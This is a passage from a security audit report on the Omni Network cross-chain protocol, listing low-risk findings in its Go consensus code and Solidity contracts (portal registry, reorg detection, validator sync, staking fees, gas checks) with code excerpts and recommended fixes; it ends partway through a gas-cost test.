        emit InXMsgOffsetSet(sourceChainId, shardId, offset);
    }
```

If a need to reduce an offset arises, it could be done via a code upgrade in a way tailored to the case at hand.

3.6.75 No way to deregister a portal

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

`PortalRegistry` does not provide a way to deregister a portal

- Recommendation

Consider allowing a way to deregister portal

3.6.76 Not able to update a portal's attest interval

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

As we can see in the `logeventproc.go` of the `registry` module, `mergePortal` is responsible for updating a portal's configuration, such as updating any newly added shards.

```
// mergePortal merges the new portal with the existing list.
func mergePortal(existing []*Portal, portal *Portal) ([]*Portal, error) {
    for i, e := range existing {
        if e.GetChainId() != portal.GetChainId() {
            continue
        }

        // Merge new shads with an existing portal
        if !bytes.Equal(e.GetAddress(), portal.GetAddress()) {
            return nil, errors.New("cannot merge existing portal with mismatching address",
                "existing", e.GetAddress(), "new", portal.GetAddress())
        } else if e.GetDeployHeight() != portal.GetDeployHeight() {
            return nil, errors.New("cannot merge existing portal with mismatching deploy height",
                "existing", e.GetDeployHeight(), "new", portal.GetDeployHeight())
        }

        toMerge := newShards(e.GetShardIds(), portal.GetShardIds())
        if len(toMerge) == 0 {
            return nil, errors.New("cannot merge existing portal with no new shards",
                "existing", e.GetShardIds(), "new", portal.GetShardIds())
        }

        existing[i].ShardIds = append(existing[i].ShardIds, toMerge...)

        return existing, nil
    }

    return append(existing, portal), nil // New chain, just append
}
```

But as we can see in the above code, it only allows updating a portal's shards. If the admin wants to update the portal's attest interval, it is not done in the code.

- Recommendation

Also update the portal's attest interval, if it has changed.

3.6.77 Portal shards cannot be deleted in the go code

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

In `mergePortal` in `logeventproc.go` of the `registry` module, if a portal has a shard deregistered, this change will not be reflected.

```
// mergePortal merges the new portal with the existing list.
func mergePortal(existing []*Portal, portal *Portal) ([]*Portal, error) {
    for i, e := range existing {
        if e.GetChainId() != portal.GetChainId() {
            continue
        }

        // Merge new shads with an existing portal
        if !bytes.Equal(e.GetAddress(), portal.GetAddress()) {
            return nil, errors.New("cannot merge existing portal with mismatching address",
                "existing", e.GetAddress(), "new", portal.GetAddress())
        } else if e.GetDeployHeight() != portal.GetDeployHeight() {
            return nil, errors.New("cannot merge existing portal with mismatching deploy height",
                "existing", e.GetDeployHeight(), "new", portal.GetDeployHeight())
        }

        toMerge := newShards(e.GetShardIds(), portal.GetShardIds())
        if len(toMerge) == 0 {
            return nil, errors.New("cannot merge existing portal with no new shards",
                "existing", e.GetShardIds(), "new", portal.GetShardIds())
        }

        existing[i].ShardIds = append(existing[i].ShardIds, toMerge...)

        return existing, nil
    }

    return append(existing, portal), nil // New chain, just append
}
```


This is because the code only allows for adding new shards and appending to the `existing` array, but if a shard is deleted, then no changes are made to the `existing` array

It might be unintentional behaviour.

- Recommendation

Fix if unintentional.

3.6.78 Slice is unstable when handling equal elements

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: There are many usages of `Slice()` inside the codebase. For example, `Slice()` is used inside:

- `evmmsgs.go`
- `cache.go`
- `cpayload.go`
- `voter.go`

If we look at the comment above the`Slice()` function:

```
// Slice sorts the slice x given the provided less function.
// It panics if x is not a slice.
//
// The sort is not guaranteed to be stable: equal elements
// may be reversed from their original order.
// For a stable sort, use [SliceStable].
//
// The less function must satisfy the same requirements as
// the Interface type's Less method.
//
// Note: in many situations, the newer [slices.SortFunc] function is more
// ergonomic and runs faster.
func Slice(x any, less func(i, j int) bool) {
    rv := reflectlite.ValueOf(x)
    swap := reflectlite.Swapper(x)
    length := rv.Len()
    limit := bits.Len(uint(length))
    pdqsort_func(lessSwap{less, swap}, 0, length, limit)
}
```

We see that `Slice()` is unstable when the elements are equal.

Impact: There does not seem to be any direct impact here, but given the delicate nature of distributed systems and the determinism required in these nodes, undefined behavior could happen.

Recommendation: Use `SliceStable()` as per the comment.

3.6.79 1 second might be too constrained

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: In `cometconfig.go`, we see the following variable set:

```
    conf.Consensus.TimeoutPropose = time.Second        // Mitigate slow blocks when proposer inactive
↪   (default=3s).
```


The timeout time for a `ProposeProposal` is set to 1 second, however, this might be too constrained. The default value is 3 seconds.

If the execution block provided to the engine client has a lot of computational resources needed, 1 second might be too little.

Impact: This can lead to degraded performance.

Recommendation: Run extensive testing to ensure that 1 seconds is enough.

3.6.80 If a validator starts or restarts a stream when a reorg block occurs, it will incorrectly be unable to detect it

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

To detect reorgs, the validator will perform a variety of checks including checking if the `prevBlock` pointer's block hash matches the currently streamed block's parent hash.

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/voter/voter.go#L597

```
func detectReorg(chainVer xchain.ChainVersion, prevBlock *xchain.Block, block xchain.Block, streamOffsets
↪  map[xchain.StreamID]uint64) error {
    if prevBlock == nil {
        return nil // Skip first block (without previous).
    }

    if prevBlock.BlockHeight+1 != block.BlockHeight {
        return errors.New("consecutive block height mismatch [BUG]", "prev_height", prevBlock.BlockHeight,
↪  "new_height", block.BlockHeight)
    }

    for _, xmsg := range block.Msgs {
        offset, ok := streamOffsets[xmsg.StreamID]
        if ok && xmsg.StreamOffset != offset+1 {
            return errors.New("non-consecutive message offsets", "stream", xmsg.StreamID, "prev_offset",
↪  offset, "new_offset", xmsg.StreamOffset)
        }

        // Update the cursor
        streamOffsets[xmsg.StreamID] = xmsg.StreamOffset
    }

    if block.BlockHash == (common.Hash{}) {
        return nil // Skip consensus chain blocks without block hashes.
    }
    if prevBlock.BlockHash == block.ParentHash {
        return nil // No reorg detected.
    }

    if chainVer.ConfLevel.IsFuzzy() {
        return errors.New("fuzzy chain reorg detected", "height", block.BlockHeight, "parent_hash",
↪  prevBlock.BlockHash, "new_parent_hash", block.ParentHash)
    }

    return errors.New("finalized chain reorg detected [BUG]", "height", block.BlockHeight, "parent_hash",
↪  prevBlock.BlockHash, "new_parent_hash", block.ParentHash)
}
```

As we can see if the `prevBlock` pointer is nil, the reorg check will be skipped

This `prevBlock` pointer is however only initialized after the first block is streamed.

```
            if err := detectReorg(chainVer, prevBlock, block, streamOffsets); err != nil {
                reorgTotal.WithLabelValues(v.network.ChainVersionName(chainVer)).Inc()
                // Restart stream, recalculating block offset from finalized version.

                return err
            }
            prevBlock = &block
```

Meaning that, if the validator joins during a block reorg, they will not be able to `detectReorg` and as a result incorrectly vote for it, which will result in them being unfairly slashed for an incorrect vote (once slashing is implemented.)

- Recommendation

Fetch the `prevBlock` pointer from the chain rather than initializing it only after the first block is streamed.

3.6.81 Dangers of calling arbitrary addresses with arbitrary calldata

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary

Calling arbitrary addresses with arbitrary calldata introduces several risks described below. Moreover, it does not seem necessary, see Recommendations.

- Finding Description

`OmniPortal` contracts are part of the Omni Network. They are operated by validators and relayers. It's possible for any EOA or contract to force a portal on a different chain to call any address (except `this`) with arbitrary calldata. Several associated risks can be listed.

1. Token theft from a portal's balance. Any user can pocket any ERC20 token residing on a portal's balance. This is so because the user can force the portal to issue an ERC20 `approve` call having their address as `spender`. Generally speaking, the issue affects any token standard supporting approvals.

2. Hacks in the name of Omni Network. Now it's possible to initiate or fully perform a hack or other type of attack as if it originated from an Omni Network portal or a relayer who sent the `xsubmit` transaction. Security specialists who are well aware of the Omni Network operation do know where to look for a real culprit, however, the network, the relayer, the validators, and maybe even the developers may have a hard time explaining that to law enforcement and proving their innocence.

3. Interaction and/or management of sanctioned entities in the name of Omni Network. Take the OFAC-sanctioned Tornado Cash project as an example. Since xmsg calldata may be arbitrary, a flexible interaction may be performed with such entities. The dangers are similar to the ones described in the previous paragraph and may lead to a sanction circumvention court action.

4. Tricking investigators and automated defense systems. Sending transactions from a network with a higher level of node anonymity to a network with a lower level of node anonymity can help an attacker hide their trails. Another example is tricking automated monitoring systems. Many hacks start with funding an EOA from Tornado Cash to pay gas fees. Such an activity is a yellow flag for automated monitoring systems. Not anymore, since now a relayer pays gas fees on the target network.

- Impact Explanation

The impact of the dangers described above can be estimated as medium to high, especially in light of risks #2 and #3.

- Likelihood Explanation

The likelihood can be estimated as low to medium because risks #2 and #4 are quite plausible.

- Recommendation

It seems that for most use cases a contract using Omni Network has to be aware of it and tailor its code appropriately. For example, most likely it'll have to check the source of a message, like this:

```
    function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

        // ...
```

I suggest taking it a step further and having the target contract implement an xmsg receiver interface:

```
    function onOmniXMsg(bytes calldata data, XTypes.MsgContext calldata context) external;
    // `abi.decode` can help developers decode the `data` parameter.
```

... and also have the target publish this interface via ERC-165. As a result, `OmniPortal` won't even call the target (except for two static `supportsInterface` calls) if it does not support Omni Network.

Such a change won't eliminate the risks completely, however, it will be quite a limiting factor.

3.6.82 Lack of cooldown check upon unjailing

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description Within the `deliverUnjail` process, the following function is called:

x/slashing/keeper/unjail.go

```
func (k Keeper) Unjail(ctx context.Context, validatorAddr sdk.ValAddress) error {

//..Omitted code
        // cannot be unjailed until out of jail
        sdkCtx := sdk.UnwrapSDKContext(ctx)
        if sdkCtx.BlockHeader().Time.Before(info.JailedUntil) {
            return types.ErrValidatorJailed
        }
    }
//..Omitted code
```

This function includes a check to ensure that the validator cannot unjail until the cooldown period has elapsed.

The issue is that there is no cooldown check inside `Slashing.sol/Unjail`, it simply initiates the unjail process immediately.

```
    function unjail() external payable {
        _burnFee();
        emit Unjail(msg.sender);
    }
```

This cooldown validation is only performed at the Cosmos level, meaning if the validator did not yet pass the cooldown period, the jail fee is already burned, and the unjailing process fails.

Currently, the validator is expected to manually track the cooldown period, though it is unclear if this is even feasible, as the validator may not have visibility into the cooldown duration.

- Impact a validator will lose his unjail fee and remain jailed.
- Recommendation Introduce a cooldown check upon calling `Unjail`.

3.6.83 `ExecMode` is not verified for `ExecutionPayload` and `AddVotes` gRPC calls

Severity: Low Risk

Context: proposal_server.go#L19-L42

- Description `ExecutionPayload` and `AddVotes` lacks verification about the `ExecMode` for **proposal_server.go** which open the door for a malicious validators to reach this code outside the state when it should be allowed to be executed, which might create **sides effects** in the protocol.

The `same reasoning` that you are verifying this in msg_server.go should be applied here by enforcing `ExecModeProcessProposal` mode.

```
func (s msgServer) AddVotes(ctx context.Context, msg *types.MsgAddVotes,
) (*types.AddVotesResponse, error) {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    if sdkCtx.ExecMode() != sdk.ExecModeFinalize {
        return nil, errors.New("only allowed in finalize mode")
    }

       ...
```

- Recommendation Apply the following patch to fix the issue.

```
// AddVotes verifies all aggregated votes included in a proposed block.
func (s proposalServer) AddVotes(ctx context.Context, msg *types.MsgAddVotes,
) (*types.AddVotesResponse, error) {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    consensusID, err := netconf.ConsensusChainIDStr2Uint64(sdkCtx.ChainID())
+   if sdkCtx.ExecMode() != sdk.ExecModeProcessProposal {
+       return nil, errors.New("only allowed in process mode")
+   }

      ...
```

```
// ExecutionPayload handles a new execution payload proposed in a block.
func (s proposalServer) ExecutionPayload(ctx context.Context, msg *types.MsgExecutionPayload,
) (*types.ExecutionPayloadResponse, error) {
+   sdkCtx := sdk.UnwrapSDKContext(ctx)
+   if sdkCtx.ExecMode() != sdk.ExecModeProcessProposal {
+       return nil, errors.New("only allowed in process mode")
+   }

      ...
```

3.6.84 A node without staking can still serve as a validator

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The comment of `valsync.EndBlock` indicates that the function obtains the validator updates in the staking module and makes changes and return the new updates to cometBFT.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/valsync/keeper/keeper.go#L97


```
// EndBlock has two responsibilities:
//
// 1. It wraps the staking module EndBlocker, intercepting the resulting validator updates and storing it as
// the next unattested validator set (to be attested to by current validator set before it can be sent to
↪  cometBFT).
//
// 2. It checks if any previously unattested validator set has been attested to, marks it as so, and returns
↪  its updates
// to pass along to cometBFT to activate that new set.

func (k *Keeper) EndBlock(ctx context.Context) ([]abci.ValidatorUpdate, error) {
    updates, err := k.sKeeper.EndBlocker(ctx)
    if err != nil {
        return nil, errors.Wrap(err, "staking keeper end block")
    }

    if err := k.maybeStoreValidatorUpdates(ctx, updates); err != nil {
        return nil, err
    }

    // The subscriber is only added after `InitGenesis`, so ensure we notify it of the latest valset.
    if err := k.maybeInitSubscriber(ctx); err != nil {
        return nil, err
    }

    // Check if any unattested set has been attested to (and return its updates).
    return k.processAttested(ctx)
}
```

In `processAttested`, if no new valset is attested, it will return nil.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/valsync/keeper/keeper.go#L310

```
    if atts, err := k.aKeeper.ListAttestationsFrom(ctx, chainID, uint32(conf), valset.GetAttestOffset(), 1);
↪   err != nil {
        return nil, errors.Wrap(err, "list attestations")
    } else if len(atts) == 0 {
        return nil, nil // No attested set, so no updates.
    }
```

When `processAttested` returns `nil`, `EndBlock` also returns `nil`, indicating that there will be no validator updates to inform cometBFT.

The problem here is that the results returned by the staking module may contain nodes that have been removed, namely nodes with `power == 0`. **The updates returned by the staking module have already passed consensus, since it is already in the EndBlock stage, data returned by the staking module where power == 0 indicates that it is confirmed as no longer staking and should no longer be considered a validator.**

```
    for _, val := range vals {
        resp.TotalPower += val.GetPower()
        if val.GetUpdated() {
            resp.TotalUpdated++
        }
        if val.GetPower() > 0 {
            resp.TotalLen++
        } else if val.GetPower() == 0 {
            resp.TotalRemoved++
        }
    }
```

In other words, at this point, there are nodes that are no longer staking and can no longer serve as validators. However, due to the absence of a newly attested valset, this update will not be applied, allowing the node to continue as a validator even in an unstaking state.

- Recommendation If there is no attested valset, remove nodes with power 0 in this update from the current validators.

3.6.85 Valsync uses expired val power

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description In `valsync EndBlock -> maybeStoreValidatorUpdates -> insertValidatorSet`, for a new valset, the vals inside will be assigned a set id and then all inserted into the `valTable`.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/valsync/keeper/keeper.go#L239

```
        val.ValsetId = valset.GetId()
        err = k.valTable.Insert(ctx, val)
```

For example, if there are two valsets in succession, both containing val1, there will be two records of val1 in the `valTable`:

- index1, val1.addr, val1.power1, valsetId1
- index2, val1.addr, val1.power2, valsetId2

In `processAttested`, only the earliest attested valset is taken, using `valset.id` as the index to retrieve vals from `valTable` as the result.

```
func (k *Keeper) processAttested(ctx context.Context) ([]abci.ValidatorUpdate, error) {
    valset, ok, err := k.nextUnattestedSet(ctx)
        ...
    valIter, err := k.valTable.List(ctx, ValidatorValsetIdIndexKey{}.WithValsetId(valset.GetId()))
    if err != nil {
        return nil, errors.Wrap(err, "list validators")
    }
    defer valIter.Close()

    var updates []abci.ValidatorUpdate
    var activeVals []*Validator
    for valIter.Next() {
        val, err := valIter.Value()
        if err != nil {
            return nil, errors.Wrap(err, "get validator")
        }

        if val.GetPower() > 0 {
            // Skip zero power validators (removed from previous set).
            activeVals = append(activeVals, val)
        }

        if val.GetUpdated() {
            // Only add updated validators to updates.
            updates = append(updates, val.ValidatorUpdate())
        }
    }
```

Just like the example in the `valTable` above, here only the data of `index1` is obtained, and the latest power of `val1` is `power2`, not `power1`. It is important to note that the effectiveness of power and whether valset is att-related are unrelated, as the power data returned by the staking module in the EndBlock phase has already been reached through consensus.

> EndBlock is run after transaction execution completes. It allows developers to have logic be executed at the end of each block.

This leads to the usage of expired power when the validator is updated. If the expired power is non-zero while the latest power is zero, it will cause a node that is no longer staking to still be a validator.

- Recommendation Query the current power from the staking module instead of obtaining it from the table when acquiring power, as the data in the staking module is consensus-driven and trustworthy during the EndBlock phase.

3.6.86 Committed height metrics statistical error

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description When calculating committed height metrics, `XChainVersion`, which is `chainId + confLevel`, is used.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L500

```
    v.committed = pruneLatestPerChain(newCommitted)

    // Update committed height metrics.
    for _, vote := range v.committed {
        commitHeight.WithLabelValues(v.network.ChainVersionName(vote.AttestHeader.XChainVersion())).Set(float6
↪   4(vote.BlockHeader.BlockHeight))
    }
```

```
func (h *AttestHeader) XChainVersion() xchain.ChainVersion {
    return xchain.ChainVersion{
        ID:        h.SourceChainId,
        ConfLevel: xchain.ConfLevel(h.ConfLevel),
    }
}
```

However, in `pruneLatestPerChain`, the returned `v.commited` is indexed by `vote.BlockHeader.ChainId`, which only considers ChainId and does not take confLevel into account.

```
func pruneLatestPerChain(atts []*types.Vote) []*types.Vote {
    latest := make(map[uint64]*types.Vote)
    for _, vote := range atts {
        latestAtt, ok := latest[vote.BlockHeader.ChainId]
        if ok && latestAtt.AttestHeader.AttestOffset >= vote.AttestHeader.AttestOffset {
            continue
        }

        latest[vote.BlockHeader.ChainId] = vote
    }
```

This results in `commitHeight` recording data only once for each chain, while in fact, each chain has different confLevels, and data under different confLevels should be recorded separately.

- Recommendation Indexed by `XChainVersion` in `pruneLatestPerChain`.

3.6.87 Use of hardcoded values to represent ether

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Staking.sol#L58

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Staking.sol#L63

- Description

The `createValidator` function in the contract imposes a fixed minimum deposit requirement of '100 ether' and a minDelegation of `1 ether`. for users wishing to create a new validator, or delegate this might lead to some issues. While this design choice ensures that validators have a substantial stake in the network, it lacks the flexibility to adapt to fluctuating market conditions, particularly in response to the price volatility of Ethereum. As the price of ETH increases or decreases, this minimum deposit could become prohibitively high for potential validators, effectively restricting access and participation in the validation process.

- Proof of Concept

```
uint256 public constant MinDeposit = 100 ether;
uint256 public constant MinDelegation = 1 ether;
```

To create a validator a user needs to have 100 ether

```
function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");//@audit is this extra being refunded

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

In this implementation, the constant MinDeposit is set to 100 ether. If the price of ETH rises significantly, the effective fiat cost of this deposit could deter users from participating in the validator creation process, which could lead to a lack of new validators. Or if the price drops significantly adding validators could be way cheap. making users that paid so much initially to be joined by those that were created when the price was significantly low. its not an issue though but the issue could arise when the price of minDeposit or minDelegation have to be adjusted urgently. Yes the contract is upgreadable, but to upgrade just for a single variable is not ideal. i also did not see any pausability either that could help prevent some cases like users joining for extremly cheap.

- Recommendation add a function to update the minimum deposit and the min delegation

```
uint256 public minDeposit;

function setMinDeposit(uint256 newMinDeposit) external onlyOwner {
    minDeposit = newMinDeposit;
}

function setMinDelegation(uint256 newMinDelegation) external onlyOwner {
    minDeposit = newMinDeposit;
}
```

3.6.88 No refund mechanism in burnFee operation

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

https://github.com/omni-network/omni/blob/main/contracts/core/src/octane/Slashing.sol#L44

- Description

The _burnFee function allows users to unjail their validator by burning a required fee (set to 0.1 ether). However, the function does not account for excess amounts in msg.value, leading to a potential overpayment. If a user accidentally sends more than the required Fee, the entire amount is transferred to the burn address (BurnAddr), effectively burning more Ether than necessary.

- POC

The function _burnFee is called as part of the unjail function, and it requires a Fee of 0.1 ether to be sent along with the transaction.

If the user mistakenly sends a higher amount like 0.15 ether, the current implementation will transfer the full 0.15 ether to BurnAddr, burning more than the required Fee.

Since no excess amount is refunded, the user loses the additional 0.05 ether unnecessarily, as seen in this function call:

```
function _burnFee() internal {
    require(msg.value >= Fee, "Slashing: insufficient fee");
    payable(BurnAddr).transfer(msg.value); // Transfers entire msg.value, even if excess
}
```

- Recommendation

Implement a refund mechanism within `_burnFee` to ensure that only the exact Fee is transferred to BurnAddr and any excess is returned to the sender.

3.6.89 `ProcessProposal` does not ensure that the first block proposal is empty

Severity: Low Risk

Context: prouter.go#L36-L48

- Description

The proposer of the block with `Height = 1` must create an empty proposal according to the comments in `PrepareProposal`:

> Current issue is that InitChain doesn't reset the gas meter. So if the first block contains any transactions, we get a app_hash_mismatch Since the proposal calculates the incorrect gas for the first block after InitChain. The gas meter is reset at the end of the 1st block, so we can then start including txs.

However, the validators will not check this property during `ProcessProposal`.

- Impact

The first proposer may create an unexpected proposal that will be accepted by other validators.

- Code snippet

`PrepareProposal` shows that the first block proposal must be empty:

```
    if req.Height == 1 {
        // Current issue is that InitChain doesn't reset the gas meter.
        // So if the first block contains any transactions, we get a app_hash_mismatch
        // Since the proposal calculates the incorrect gas for the first block after InitChain.
        // The gas meter is reset at the end of the 1st block, so we can then start including txs.

        log.Warn(ctx, "Creating empty initial block due to gas issue", nil)
        return &abci.ResponsePrepareProposal{}, nil
    }
```

However, all validators will accept a non-empty block in `ProcessProposal`:

```
// makeProcessProposalHandler creates a new process proposal handler.
// It ensures all messages included in a cpayload proposal are valid.
// It also updates some external state.
func makeProcessProposalHandler(router *baseapp.MsgServiceRouter, txConfig client.TxConfig)
↪  sdk.ProcessProposalHandler {
    return func(ctx sdk.Context, req *abci.RequestProcessProposal) (*abci.ResponseProcessProposal, error) {
        // Ensure the proposal includes quorum vote extensions (unless first block).
        if req.Height > 1 { // @POC: Check messages only if not first block
            var totalPower, votedPower int64
            for _, vote := range req.ProposedLastCommit.Votes {
                totalPower += vote.Validator.Power
                if vote.BlockIdFlag != cmttypes.BlockIDFlagCommit {
                    continue
                }
                votedPower += vote.Validator.Power
            }
            if totalPower*2/3 >= votedPower {
                return rejectProposal(ctx, errors.New("proposed doesn't include quorum votes extensions"))
            }
        }

        // @POC: Normal processing

        return &abci.ResponseProcessProposal{Status: abci.ResponseProcessProposal_ACCEPT}, nil
    }
}
```

- Recommendation

`ProcessProposal` must implement a check to ensure that the proposal for the first consensus block does not include any content as expected.

This can be implemented through an `if/else` statement:

```
func makeProcessProposalHandler(router *baseapp.MsgServiceRouter, txConfig client.TxConfig)
↪  sdk.ProcessProposalHandler {
    return func(ctx sdk.Context, req *abci.RequestProcessProposal) (*abci.ResponseProcessProposal, error) {
        // Ensure the proposal includes quorum vote extensions (unless first block).
        if req.Height > 1 { // @POC: Check messages only if not first block
            var totalPower, votedPower int64
            for _, vote := range req.ProposedLastCommit.Votes {
                totalPower += vote.Validator.Power
                if vote.BlockIdFlag != cmttypes.BlockIDFlagCommit {
                    continue
                }
                votedPower += vote.Validator.Power
            }
            if totalPower*2/3 >= votedPower {
                return rejectProposal(ctx, errors.New("proposed doesn't include quorum votes extensions"))
            }
        } else if req.Height == 1 { // @POC: handle the case for first proposal
            if len(req.Txs) > 0 {
                return rejectProposal(ctx, errors.New("first proposal is not empty"))
            }
        }
```

3.6.90 Missing validation for `MsgAddVotes.Authority`

Severity: Low Risk

Context: proposal_server.go#L19

- Description

`AddVotes` verifies all aggregated votes included in a proposed block. It fails to fully verify the provided `MsgAddVotes` parameter passed to it.

In particular, it fails to ensure that the `MsgAddVotes.Authority` field is of an adequate length, allowing for strings of any length to be provided and accepted by the Omni protocol.

- Recommendation

The shown method should verify that `msg.Authority` matches a correct and expected value.

3.6.91 `Omni portal` allow user to `send message` to the `portal itself`

Severity: Low Risk

Context: OmniPortal.sol#L131-L152

- Context `Omni portal` contract will have the **same deployed address** accross all the connected chains as the protocol is using Create3 so that is deterministic.
- Description `xcall` is preventing sending message to the portal itself, but it's not doing it properly. It prevent to send to `VirtualPortalAddress`, but not to the real portal itself. That will get `denied` when executing such message, so there is not security risk at least (hence why is `Low`) but a waste of resources, as this message will go across the entire pipeline. This is also considered a user error in my view.

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset;

        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
↪   //@audit: evaluate broadcast impact
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

        // verify xmsg conf level matches xheader conf level
        // allow finalized blocks to for any xmsg, so that finalized blocks may correct "fuzzy" xmsgs
        require(
            ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
            "OmniPortal: wrong conf level"
        );

        if (inXBlockOffset[sourceChainId][shardId] < xheader.offset) {
            inXBlockOffset[sourceChainId][shardId] = xheader.offset;
        }

        inXMsgOffset[sourceChainId][shardId] += 1;

        // do not allow user xcalls to the portal
        // only sys xcalls (to _VIRTUAL_PORTAL_ADDRESS) are allowed to be executed on the portal
        if (xmsg_.to == address(this)) {                //<------------------------
            emit XReceipt(
                sourceChainId,
                shardId,
                offset,
                0,
                msg.sender,
                false,
                abi.encodeWithSignature("Error(string)", "OmniPortal: no xcall to portal")
            );

            return;
        }
```

- Recommendation Apply the following patch to prevent this behavior, you can always keep your sanity protection in _exec.

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
-       require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
+       require(to != VirtualPortalAddress && to != address(this), "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

3.6.92 OmniPortal::_call does not account for the extra gas cost of using the ExcessivelySafeCall library during safety check

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The function OmniPortal::_call follows closely the implementation of OpenZeppelin's MinimalForwarded::execute .

The function does a check on the gas left, this is done to check if the underlying call failed due to running out of gas because not enough gas was sent. It follows the 1/64 rule explained in this article

The difference in implementation is that the OpenZeppelin one directly makes a low level call, while the OmniPortal implementation makes a call via the ExcessivelySafeCall library. This results in accounting for the gas costs to execute the library code in the check for remaining gas after the call. As a result, the calculation in the if-statement, does not reflect an accurate check on the gas used by the external call:

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/OmniPortal.sol#L296-L315

```
        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪   data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪   c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
        if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪   exception
            assembly {
                invalid()
            }
        }
```

This results in an edge case where the extra few gas consumed by using the excessivelySafeCall library will make the transaction revert, even though the callee did not revert due to running out of gas and used less than 63/64ths.

Suppose a scenario where the library will use an extra 450 gas. This means that in the following scenario, the transaction will incorrectly revert:

- gasLimit is set to 63000
- gas before the transacation is 64000
- transaction uses 62700 gas

If openzeppelin library was used, the If-statement will be as follows: if(1300 < 63000/63) => revert

But it wont revert since its false that 1300 < 1000

In OmniPortal implementation, due to the extra 450 gas used, the following will happen: if(850 < 63000/63) => revert

Here it will revert because 850 < 1000.

By using the test described in the PoC I found that that the library will use a minimum of 100 extra gas per transaction, though that varies greatly depending on the returned data. As an example, if the returned data is a string of length 386 characters, I get the results that the ExcessivelySafeCall library will incur an extra gas cost of 1061 gas.

- Recommendation The check for gas left should be done in the ExcessivelySafeCall library, right after the external call.
- PoC to test gas cost difference:

You can use the following test in the remix browser IDE to test the gas cost difference.

First create these three files to your remix project:

ExternalContract.sol

```
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.2 <0.9.0;

contract ExternalContract {

    function doSomething(uint256 a) public returns (string memory){
        return "aaaaaaaaaaaaaaaaaaaaaaaaaa";
    }
}
```

CallerContract.sol

```
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.2 <0.9.0;

import "./ExternalCallLibrary.sol";
import "./ExternalContract.sol";

contract CallerContract {
    using ExternalCallLibrary for address;

    event CurrentGas(uint256, string);

    function makeExternalCallViaLibrary(address _target, uint256 _gas, uint256 _value) public returns (uint256
){
        (bool _success, bytes memory _returnData) = _target.makeExternalCall(_gas, _value);
        uint256 gasLeftAfter = gasleft();
        emit CurrentGas(gasleft(), "End Gas");
        return gasleft();
    }

    function makeExternalCall(address _target, uint256 _gas, uint256 _value) public returns (uint256){
        bytes memory _calldata = abi.encodeCall(ExternalContract.doSomething,(123));
